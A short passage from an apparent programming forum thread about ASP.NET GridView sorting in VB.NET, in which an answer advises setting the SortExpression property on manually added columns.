End If
Next
grdProducts.AllowSorting = True ' Should already be true, but this doesnt help
grdProducts.DataBind()
It's frustrating!
I think you are not assigning SortExpression property in Columns.
Please check this example for more detail.
In your example, just add
.SortExpression= col.ColumnName
below
.DataField = col.ColumnName
Since you are adding columns manually, you have to set the SortExpression property for each of them. See last note here.

Resources